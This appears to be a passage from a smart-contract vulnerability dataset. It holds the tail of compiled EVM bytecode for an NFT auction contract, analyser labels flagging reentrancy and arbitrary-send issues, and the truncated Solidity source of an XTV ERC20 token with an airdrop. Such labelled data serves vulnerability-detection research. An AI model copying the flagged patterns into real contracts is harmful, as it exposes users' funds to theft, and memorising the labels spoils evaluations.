57600080fd5b5061016961048b366004612b61565b611972565b34801561049c57600080fd5b506104b06104ab366004612b61565b611fce565b604080516001600160a01b03998a168152602081019890985287019590955260608601939093529416608084015260a083019390935260c082019290925261ffff90911660e0820152610100016101dc565b34801561050e57600080fd5b5061016961051d366004612db4565b612171565b60005461010090046001600160a01b031633148061054a57506001546001600160a01b031633145b61058e5760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b60448201526064015b60405180910390fd5b60008161ffff16116105d05760405162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b6044820152606401610585565b600091825260036020526040909120600501805461ffff909216600160e01b027fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600080546001600160a01b0383811661010090920416148061064b57506001546001600160a01b038381169116145b92915050565b60005461010090046001600160a01b031633148061067957506001546001600160a01b031633145b6106b85760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b6044820152606401610585565b6001600160a01b03811661070e5760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964206164647265737300000000000000000000000000000000006044820152606401610585565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60005461010090046001600160a01b031633148061075857506001546001600160a01b031633145b6107975760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b6044820152606401610585565b60008151116107e85760405162461bcd60e51b815260206004820152600f60248201527f526561736f6e20726571756972656400000000000000000000000000000000006044820152606401610585565b60008281526003602081815260409283902083516101608101855281546001600160a01b039081168252600183015481169382019390935260028201549092169382019390935290820154606082015260048201546080820181905260059092015467ffffffffffffffff80821660a0840152600160401b8204811660c0840152600160801b82041660e083015261ffff600160c01b82048116610100840152600160d01b82048116610120840152600160e01b90910416610140820152906108e75760405162461bcd60e51b8152602060048201526011602482015270105d58dd1a5bdb881b9bdd08199bdd5b99607a1b6044820152606401610585565b80516001600160a01b039081166000908152600260208181526040808420606087018051865290835281852085905588855260039283905281852080546001600160a01b03199081168255600182018054821690559481018054909516909455918301849055600480840194909455600590920180547fffff000000000000000000000000000000000000000000000000000000000000169055845182860151915192516323b872dd60e01b8152309481019490945290841660248401526044830191909152909116906323b872dd90606401600060405180830381600087803b1580156109d457600080fd5b505af11580156109e8573d6000803e3d6000fd5b5050505060208101516001600160a01b031615610a245760208101516080820151600754610a24929190600160a01b900463ffffffff1661226d565b827f0202ac3c7c29c1a6bf898050919e58db1f49d13ea08b27ec06fca767bd23479883604051610a549190612dd6565b60405180910390a2505050565b60008160ff1660011415610a8557505060005461010090046001600160a01b031690565b8160ff1660021415610aa25750506001546001600160a01b031690565b506000919050565b60005460ff1660021415610af15760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610585565b6000805460ff1916600290811782558282526003602081815260409384902084516101608101865281546001600160a01b0390811682526001830154811693820184905294820154909416948401949094529083015460608301526004830154608083015260059092015467ffffffffffffffff80821660a0840152600160401b8204811660c0840152600160801b82041660e083015261ffff600160c01b82048116610100840152600160d01b82048116610120840152600160e01b909104166101408201529015610c065760405162461bcd60e51b815260206004820152601360248201527f41756374696f6e20696e2070726f6772657373000000000000000000000000006044820152606401610585565b60408101516001600160a01b0316331480610c255750610c253361061c565b610c605760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610585565b80516001600160a01b039081166000908152600260208181526040808420606087018051865290835281852085905587855260039283905281852080546001600160a01b03199081168255600182018054821690559481018054909516909455918301849055600480840194909455600590920180547fffff000000000000000000000000000000000000000000000000000000000000169055845182860151915192516323b872dd60e01b8152309481019490945290841660248401526044830191909152909116906323b872dd90606401600060405180830381600087803b158015610d4d57600080fd5b505af1158015610d61573d6000803e3d6000fd5b50506040518492507f2809c7e17bf978fbc7194c0a694b638c4215e9140cacc6c38ca36010b45697df9150600090a250506000805460ff19166001179055565b60005460ff1660021415610de85760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610585565b6000805460ff191660021781558181526003602052604090206004810154610e465760405162461bcd60e51b8152602060048201526011602482015270105d58dd1a5bdb881b9bdd08199bdd5b99607a1b6044820152606401610585565b600581015442600160401b90910467ffffffffffffffff161015610eac5760405162461bcd60e51b815260206004820152600f60248201527f41756374696f6e206973206f76657200000000000000000000000000000000006044820152606401610585565b60058101544267ffffffffffffffff9091161115610f0c5760405162461bcd60e51b815260206004820152601360248201527f41756374696f6e206e6f742073746172746564000000000000000000000000006044820152606401610585565b60018101546001600160a01b0316610f86578060040154341015610f675760405162461bcd60e51b815260206004820152601260248201527142696420616d6f756e7420746f6f206c6f7760701b6044820152606401610585565b3460048201556001810180546001600160a01b031916331790556110fd565b80600401543411610fce5760405162461bcd60e51b815260206004820152601260248201527142696420616d6f756e7420746f6f206c6f7760701b6044820152606401610585565b60048101546005820154349190910390600160801b900467ffffffffffffffff168110156110335760405162461bcd60e51b815260206004820152601260248201527142696420616d6f756e7420746f6f206c6f7760701b6044820152606401610585565b60048201805460018401805434909355336001600160a01b03198416179055600584015490916001600160a01b031690600160d01b810461ffff1642600160401b90920467ffffffffffffffff169190910310156110dc5760058401805467ffffffffffffffff600160401b808304821661ffff600160c01b85041601909116027fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff9091161790555b6007546110f99082908490600160801b900463ffffffff1661226d565b5050505b600581015460408051348152600160401b90920467ffffffffffffffff166020830152339184917f26a2b73a513b1d1101f625ffcf044dc275db949592e58b12a18b3bf6fe55e4f3910160405180910390a350506000805460ff19166001179055565b60005460ff16600214156111a75760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610585565b6000805460ff19166002179081905561010090046001600160a01b03163314806111db57506001546001600160a01b031633145b61121a5760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b6044820152606401610585565b61122c8a8a8a8a8a8a8a8a8a8a61235b565b50506000805460ff191660011790555050505050505050565b60005460ff166002141561128c5760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610585565b6000805460ff191660021781556001600160a01b038216815260046020526040902054806112fc5760405162461bcd60e51b815260206004820152601360248201527f4e6f7468696e6720746f207769746864726177000000000000000000000000006044820152606401610585565b8047101561134c5760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610585565b6001600160a01b0382166000818152600460205260408082208290555190919083908381818185875af1925050503d80600081146113a6576040519150601f19603f3d011682016040523d82523d6000602084013e6113ab565b606091505b50509050806113fc5760405162461bcd60e51b815260206004820152600f60248201527f5769746864726177206661696c656400000000000000000000000000000000006044820152606401610585565b826001600160a01b03167f95e1b0070dbccc052f124fa5143644dca4cc74c53bf1d0fe68ff7295f61cdc0c8360405161143791815260200190565b60405180910390a250506000805460ff1916600117905550565b60005460ff16600214156114985760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610585565b6000805460ff191660021781556114c090899033908a908a908a908a908a908a908a9061235b565b50506000805460ff19166001179055505050505050565b60005461010090046001600160a01b03163314806114ff57506001546001600160a01b031633145b61153e5760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b6044820152606401610585565b6001600160a01b0381166115945760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964206164647265737300000000000000000000000000000000006044820152606401610585565b6000546001600160a01b0382811661010090920416148015906115c557506001546001600160a01b03828116911614155b6116115760405162461bcd60e51b815260206004820152600d60248201527f416c72656164792061646d696e000000000000000000000000000000000000006044820152606401610585565b8160ff166001148061162657508160ff166002145b6116725760405162461bcd60e51b815260206004820152600d60248201527f496e76616c696420696e646578000000000000000000000000000000000000006044820152606401610585565b61167c828261289e565b5050565b60005461010090046001600160a01b03163314806116a857506001546001600160a01b031633145b6116e75760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b6044820152606401610585565b87156116f35760068890555b63ffffffff871615611715576007805463ffffffff191663ffffffff89161790555b63ffffffff861615611742576007805467ffffffff00000000191664010000000063ffffffff8916021790555b63ffffffff85161561177257600780546bffffffff00000000000000001916600160401b63ffffffff8816021790555b61ffff8416156117b157600780547fffffffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffff16600160c01b61ffff8716021790555b63ffffffff8316156117f457600780547fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16600160801b63ffffffff8616021790555b63ffffffff82161561183757600780547fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff16600160a01b63ffffffff8516021790555b63ffffffff81161561188357600780547fffffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffff166c0100000000000000000000000063ffffffff8416021790555b5050505050505050565b60005461010090046001600160a01b03163314806118b557506001546001600160a01b031633145b6118f45760405162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b6044820152606401610585565b60008161ffff16116119365760405162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b6044820152606401610585565b6007805461ffff909216600160d01b027fffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b60005460ff16600214156119b95760405162461bcd60e51b815260206004820152600e60248201526d1499595b9d1c985b9d0818d85b1b60921b6044820152606401610585565b6000805460ff1916600290811782558282526003602081815260409384902084516101608101865281546001600160a01b03908116825260018301548116938201939093529381015490911693830193909352820154606082015260048201546080820181905260059092015467ffffffffffffffff80821660a0840152600160401b8204811660c0840152600160801b82041660e083015261ffff600160c01b82048116610100840152600160d01b82048116610120840152600160e01b9091041661014082015290611ac35760405162461bcd60e51b8152602060048201526011602482015270105d58dd1a5bdb881b9bdd08199bdd5b99607a1b6044820152606401610585565b428160c0015167ffffffffffffffff1610611b205760405162461bcd60e51b815260206004820152601360248201527f41756374696f6e20696e2070726f6772657373000000000000000000000000006044820152606401610585565b80516001600160a01b039081166000908152600260208181526040808420606087015185528252808420849055868452600380835290842080546001600160a01b031990811682556001820180548216905593810180549094169093558201839055600482019290925560050180547fffff00000000000000000000000000000000000000000000000000000000000016905582015116611c37578051604080830151606084015191516323b872dd60e01b81523060048201526001600160a01b0391821660248201526044810192909252909116906323b872dd90606401600060405180830381600087803b158015611c1957600080fd5b505af1158015611c2d573d6000803e3d6000fd5b5050505050611fbe565b8051602082015160608301516040516323b872dd60e01b81523060048201526001600160a01b03928316602482015260448101919091529116906323b872dd90606401600060405180830381600087803b158015611c9457600080fd5b505af1158015611ca8573d6000803e3d6000fd5b505082516040517f01ffc9a700000000000000000000000000000000000000000000000000000000815263152a902d60e11b600482015260009350839250829182916001600160a01b03909116906301ffc9a790602401602060405180830381865afa158015611d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d409190612e2b565b15611e4b5784516007546060870151608088015160405163152a902d60e11b81526004810192909252602482015260009283926001600160a01b0390911691632a55205a916c01000000000000000000000000900463ffffffff169060440160408051808303818786fa158015611dbb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de09190612e4d565b9150915086604001516001600160a01b0316826001600160a01b031614611e4857600754608088015160009161271091611e2591600160c01b900461ffff1690612e91565b611e2f9190612eb0565b905081811015611e3f5780611e41565b815b9450829650505b50505b600085610140015161ffff16600114611e8d57600186610140015161ffff1611611e8257600754600160d01b900461ffff16611e90565b856101400151611e90565b60005b90506127108161ffff168760800151611ea99190612e91565b611eb39190612eb0565b935082848760800151611ec69190612ed2565b611ed09190612ed2565b600854600754919350611efd916001600160a01b03909116908690600160801b900463ffffffff1661226d565b6040860151600754611f1e91908490600160a01b900463ffffffff1661226d565b600754611f3b9086908590600160a01b900463ffffffff1661226d565b867fd930d5319c6b00fd10b593fc34c7ba1c95e7c009e6c5f7a58d4304b8c26e852a876040015188602001518960c001518a60800151604051611faf94939291906001600160a01b03948516815292909316602083015267ffffffffffffffff166040820152606081019190915260800190565b60405180910390a25050505050505b506000805460ff19166001179055565b600081815260036020818152604080842081516101608101835281546001600160a01b039081168083526001840154821695830195909552600283015416928101929092529283015460608201526004830154608082015260059092015467ffffffffffffffff80821660a0850152600160401b8204811660c0850152600160801b82041660e084015261ffff600160c01b82048116610100850152600160d01b82048116610120850152600160e01b909104166101408301528291829182918291829182918291906120d75760405162461bcd60e51b8152602060048201526011602482015270105d58dd1a5bdb881b9bdd08199bdd5b99607a1b6044820152606401610585565b80604001518160a001518260c00151836101000151846020015185608001518660e0015187610140015161ffff1660011461213b57600188610140015161ffff161161213057600754600160d01b900461ffff1661213e565b87610140015161213e565b60005b969f5067ffffffffffffffff9586169e509385169c5061ffff9092169a5098509650169350915050919395975091939597565b600082815260036020526040902060018101546001600160a01b0316156121da5760405162461bcd60e51b815260206004820152601360248201527f41756374696f6e20696e2070726f6772657373000000000000000000000000006044820152606401610585565b60028101546001600160a01b03163314806121f957506121f93361061c565b6122345760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610585565b6004810182905560405182815283907f95f83d4dfba2e4f3f99527a8e8a18980457125d95df460c1601811c0c961528f90602001610a54565b81158061228157506001600160a01b038316155b1561228b57505050565b6000836001600160a01b0316838390604051600060405180830381858888f193505050503d80600081146122db576040519150601f19603f3d011682016040523d82523d6000602084013e6122e0565b606091505b5050905080612355576001600160a01b03841660009081526004602052604081208054859290612311908490612ee9565b90915550506040518381526001600160a01b038516907fa2269912b47133fae1d7f448c9284ea248951ac29b8c7c41d301f8721a38d10d9060200160405180910390a25b50505050565b60065487116123ac5760405162461bcd60e51b815260206004820152601660248201527f5374617274696e6720707269636520746f6f206c6f77000000000000000000006044820152606401610585565b6001600160a01b038a1660009081526002602090815260408083208b84529091529020541561241d5760405162461bcd60e51b815260206004820152601660248201527f4e465420616c7265616479206f6e2061756374696f6e000000000000000000006044820152606401610585565b8467ffffffffffffffff168667ffffffffffffffff1610801561245b575060075463ffffffff1661244e8787612f01565b67ffffffffffffffff1610155b6124a75760405162461bcd60e51b815260206004820152601860248201527f496e76616c69642061756374696f6e206475726174696f6e00000000000000006044820152606401610585565b600754640100000000900463ffffffff1661ffff8416108015906124de5750600754600160401b900463ffffffff1661ffff841611155b61252a5760405162461bcd60e51b815260206004820181905260248201527f457874656e73696f6e206475726174696f6e206f7574206f6620626f756e64736044820152606401610585565b6000612534612908565b905080600260008d6001600160a01b03166001600160a01b0316815260200190815260200160002060008b8152602001908152602001600020819055506040518061016001604052808c6001600160a01b0316815260200160006001600160a01b031681526020018b6001600160a01b031681526020018a81526020018981526020018867ffffffffffffffff1681526020018767ffffffffffffffff1681526020018667ffffffffffffffff1681526020018561ffff1681526020018461ffff1681526020018361ffff168152506003600083815260200190815260200160002060008201518160000160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550606082015181600301556080820151816004015560a08201518160050160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060c08201518160050160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060e08201518160050160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506101008201518160050160186101000a81548161ffff021916908361ffff16021790555061012082015181600501601a6101000a81548161ffff021916908361ffff16021790555061014082015181600501601c6101000a81548161ffff021916908361ffff1602179055509050508a6001600160a01b03166323b872dd8b308c6040518463ffffffff1660e01b81526004016127fc939291906001600160a01b039384168152919092166020820152604081019190915260600190565b600060405180830381600087803b15801561281657600080fd5b505af115801561282a573d6000803e3d6000fd5b5050604080518b81526020810185905267ffffffffffffffff8b8116828401528a16606082015290518c93506001600160a01b038f811693508e16917f66766a681aa96f123f45d5f4498e48ba3912c5a6674549c29f6668701235e977919081900360800190a45050505050505050505050565b8160ff16600114156128e757600080546001600160a01b038316610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff9091161790555050565b600180546001600160a01b0383166001600160a01b03199091161790555050565b600060056000815461291990612f2a565b9182905550919050565b803561ffff8116811461293557600080fd5b919050565b6000806040838503121561294d57600080fd5b8235915061295d60208401612923565b90509250929050565b6001600160a01b038116811461297b57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156129af576129af61297e565b604051601f8501601f19908116603f011681019082821181831017156129d7576129d761297e565b816040528093508581528686860111156129f057600080fd5b858560208301376000602087830101525050509392505050565b60008060008060808587031215612a2057600080fd5b8435612a2b81612966565b93506020850135612a3b81612966565b925060408501359150606085013567ffffffffffffffff811115612a5e57600080fd5b8501601f81018713612a6f57600080fd5b612a7e87823560208401612994565b91505092959194509250565b600060208284031215612a9c57600080fd5b8135612aa781612966565b9392505050565b60008060408385031215612ac157600080fd5b8235612acc81612966565b946020939093013593505050565b60008060408385031215612aed57600080fd5b82359150602083013567ffffffffffffffff811115612b0b57600080fd5b8301601f81018513612b1c57600080fd5b612b2b85823560208401612994565b9150509250929050565b803560ff8116811461293557600080fd5b600060208284031215612b5857600080fd5b612aa782612b35565b600060208284031215612b7357600080fd5b5035919050565b803567ffffffffffffffff8116811461293557600080fd5b6000806000806000806000806000806101408b8d031215612bb257600080fd5b8a35612bbd81612966565b995060208b0135612bcd81612966565b985060408b0135975060608b01359650612be960808c01612b7a565b9550612bf760a08c01612b7a565b9450612c0560c08c01612b7a565b9350612c1360e08c01612923565b9250612c226101008c01612923565b9150612c316101208c01612923565b90509295989b9194979a5092959850565b600080600080600080600080610100898b031215612c5f57600080fd5b8835612c6a81612966565b97506020890135965060408901359550612c8660608a01612b7a565b9450612c9460808a01612b7a565b9350612ca260a08a01612b7a565b9250612cb060c08a01612923565b9150612cbe60e08a01612923565b90509295985092959890939650565b60008060408385031215612ce057600080fd5b612ce983612b35565b91506020830135612cf981612966565b809150509250929050565b803563ffffffff8116811461293557600080fd5b600080600080600080600080610100898b031215612d3557600080fd5b88359750612d4560208a01612d04565b9650612d5360408a01612d04565b9550612d6160608a01612d04565b9450612d6f60808a01612923565b9350612d7d60a08a01612d04565b9250612d8b60c08a01612d04565b9150612cbe60e08a01612d04565b600060208284031215612dab57600080fd5b612aa782612923565b60008060408385031215612dc757600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015612e0357858101830151858201604001528201612de7565b81811115612e15576000604083870101525b50601f01601f1916929092016040019392505050565b600060208284031215612e3d57600080fd5b81518015158114612aa757600080fd5b60008060408385031215612e6057600080fd5b8251612e6b81612966565b6020939093015192949293505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612eab57612eab612e7b565b500290565b600082612ecd57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015612ee457612ee4612e7b565b500390565b60008219821115612efc57612efc612e7b565b500190565b600067ffffffffffffffff83811690831681811015612f2257612f22612e7b565b039392505050565b6000600019821415612f3e57612f3e612e7b565b506001019056fea26469706673582212206dea8a07df57a4eb1d2262ebc0b7d398766002da77daaddf7289b00ffd367ae264736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,008 |
0x41c6af7b388e80030e63f2686dc2ff9bfd1267c9
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function kill() public onlyOwner {
selfdestruct(owner);
}
}/*
* Name: Full Fill TV - XTV Network Utils Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
library XTVNetworkUtils {
function verifyXTVSignatureAddress(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
}
bytes32 prefixedHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
// solium-disable-next-line arg-overflow
return ecrecover(prefixedHash, v, r, s);
}
}/*
* Name: Full Fill TV Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
contract XTVNetworkGuard {
mapping(address => bool) xtvNetworkEndorser;
modifier validateSignature(
string memory message,
bytes32 verificationHash,
bytes memory xtvSignature
) {
bytes32 xtvVerificationHash = keccak256(abi.encodePacked(verificationHash, message));
require(verifyXTVSignature(xtvVerificationHash, xtvSignature));
_;
}
function setXTVNetworkEndorser(address _addr, bool isEndorser) public;
function verifyXTVSignature(bytes32 hash, bytes memory sig) public view returns (bool) {
address signerAddress = XTVNetworkUtils.verifyXTVSignatureAddress(hash, sig);
return xtvNetworkEndorser[signerAddress];
}
}
/*
* Name: Full Fill TV - XTV Token Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/*
* Name: Full Fill TV Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
/*
* Name: Full Fill TV Contract
* Author: Allen Sarkisyan
* Copyright: 2017 Full Fill TV, Inc.
* Version: 1.0.0
*/
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
bool public paused = false;
bool public mintingFinished = false;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address _owner, address spender) public view returns (uint256);
function increaseApproval(address spender, uint addedValue) public returns (bool);
function decreaseApproval(address spender, uint subtractedValue) public returns (bool);
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Buy(address indexed _recipient, uint _amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Pause();
event Unpause();
}
contract ERC20Token is ERC20, Ownable {
using SafeMath for uint256;
/** ERC20 Interface Methods */
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) { return totalSupply_; }
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; }
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract XTVToken is XTVNetworkGuard, ERC20Token {
using SafeMath for uint256;
string public constant name = "XTV";
string public constant symbol = "XTV";
uint public constant decimals = 18;
address public fullfillTeamAddress;
address public fullfillFounder;
address public fullfillAdvisors;
address public XTVNetworkContractAddress;
bool public airdropActive;
uint public startTime;
uint public endTime;
uint public XTVAirDropped;
uint public XTVBurned;
mapping(address => bool) public claimed;
uint256 private constant TOKEN_MULTIPLIER = 1000000;
uint256 private constant DECIMALS = 10 ** decimals;
uint256 public constant INITIAL_SUPPLY = 500 * TOKEN_MULTIPLIER * DECIMALS;
uint256 public constant EXPECTED_TOTAL_SUPPLY = 1000 * TOKEN_MULTIPLIER * DECIMALS;
// 33%
uint256 public constant ALLOC_TEAM = 330 * TOKEN_MULTIPLIER * DECIMALS;
// 7%
uint256 public constant ALLOC_ADVISORS = 70 * TOKEN_MULTIPLIER * DECIMALS;
// 10%
uint256 public constant ALLOC_FOUNDER = 100 * TOKEN_MULTIPLIER * DECIMALS;
// 50%
uint256 public constant ALLOC_AIRDROP = 500 * TOKEN_MULTIPLIER * DECIMALS;
uint256 public constant AIRDROP_CLAIM_AMMOUNT = 500 * DECIMALS;
modifier isAirdropActive() {
